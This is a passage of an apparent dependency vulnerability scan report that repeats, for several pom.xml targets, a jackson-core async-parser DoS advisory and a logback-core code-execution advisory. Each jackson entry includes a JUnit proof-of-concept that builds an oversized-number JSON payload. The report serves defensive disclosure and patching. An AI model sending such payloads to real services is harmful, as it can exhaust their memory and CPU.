The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: spin/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: spring-boot-starter/starter-client/spring-boot/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: spring-boot-starter/starter-client/spring/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: spring-boot-starter/starter-qa/integration-test-plugins/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: spring-boot-starter/starter-qa/integration-test-plugins/spin/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: spring-boot-starter/starter-qa/integration-test-plugins/spin/spin-dataformat-all/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
